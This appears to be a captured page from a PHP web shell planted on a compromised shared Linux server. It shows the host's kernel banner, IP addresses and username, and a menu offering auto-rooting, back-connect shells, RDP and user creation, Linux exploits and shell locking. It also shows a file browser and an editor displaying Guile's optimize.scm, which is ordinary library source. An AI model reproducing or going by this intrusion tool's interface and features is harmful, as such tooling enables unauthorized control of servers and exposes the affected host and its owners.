Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
guile /
3.0 /
system /
base /
[ HOME SHELL ]
Name
Size
Permission
Action
types
[ DIR ]
drwxr-xr-x
ck.scm
2.15
KB
-rw-r--r--
compile.scm
13.79
KB
-rw-r--r--
lalr.scm
2
KB
-rw-r--r--
lalr.upstream.scm
60.26
KB
-rw-r--r--
language.scm
3.33
KB
-rw-r--r--
message.scm
9.86
KB
-rw-r--r--
optimize.scm
2.34
KB
-rw-r--r--
pmatch.scm
2.51
KB
-rw-r--r--
syntax.scm
12.81
KB
-rw-r--r--
target.scm
6.73
KB
-rw-r--r--
types.scm
19.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : optimize.scm
;;; Optimization flags ;; Copyright (C) 2018, 2020 Free Software Foundation, Inc. ;;;; This library is free software; you can redistribute it and/or ;;;; modify it under the terms of the GNU Lesser General Public ;;;; License as published by the Free Software Foundation; either ;;;; version 3 of the License, or (at your option) any later version. ;;;; ;;;; This library is distributed in the hope that it will be useful, ;;;; but WITHOUT ANY WARRANTY; without even the implied warranty of ;;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;;;; Lesser General Public License for more details. ;;;; ;;;; You should have received a copy of the GNU Lesser General Public ;;;; License along with this library; if not, write to the Free Software ;;;; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;;; Code: (define-module (system base optimize) #:use-module (ice-9 match) #:export (available-optimizations pass-optimization-level optimizations-for-level)) (define* (available-optimizations #:optional lang-name) (match lang-name ('tree-il '((#:cps? 2) (#:resolve-primitives? 1) (#:expand-primitives? 1) (#:letrectify? 2) (#:seal-private-bindings? 3) (#:partial-eval? 1) (#:eta-expand? 2))) ('cps '( ;; (#:split-rec? #t) (#:simplify? 2) (#:eliminate-dead-code? 2) (#:prune-top-level-scopes? 2) (#:contify? 2) (#:specialize-primcalls? 2) (#:peel-loops? 2) (#:cse? 2) (#:type-fold? 2) (#:elide-arity-checks? 2) (#:resolve-self-references? 2) (#:devirtualize-integers? 2) (#:specialize-numbers? 2) (#:optimize-branch-chains? 2) (#:licm? 2) (#:rotate-loops? 2) ;; This one is used by the slot allocator. (#:precolor-calls? 2))) (#f (append (available-optimizations 'tree-il) (available-optimizations 'cps))))) (define (pass-optimization-level kw) (match (assq kw (available-optimizations)) ((kw level) level) (_ (error "unknown optimization" kw)))) ;; Turn on all optimizations unless -O0. (define (optimizations-for-level level) (let lp ((options (available-optimizations))) (match options (() '()) (((kw at-level) . options) (cons* kw (<= at-level level) (lp options))))))
Close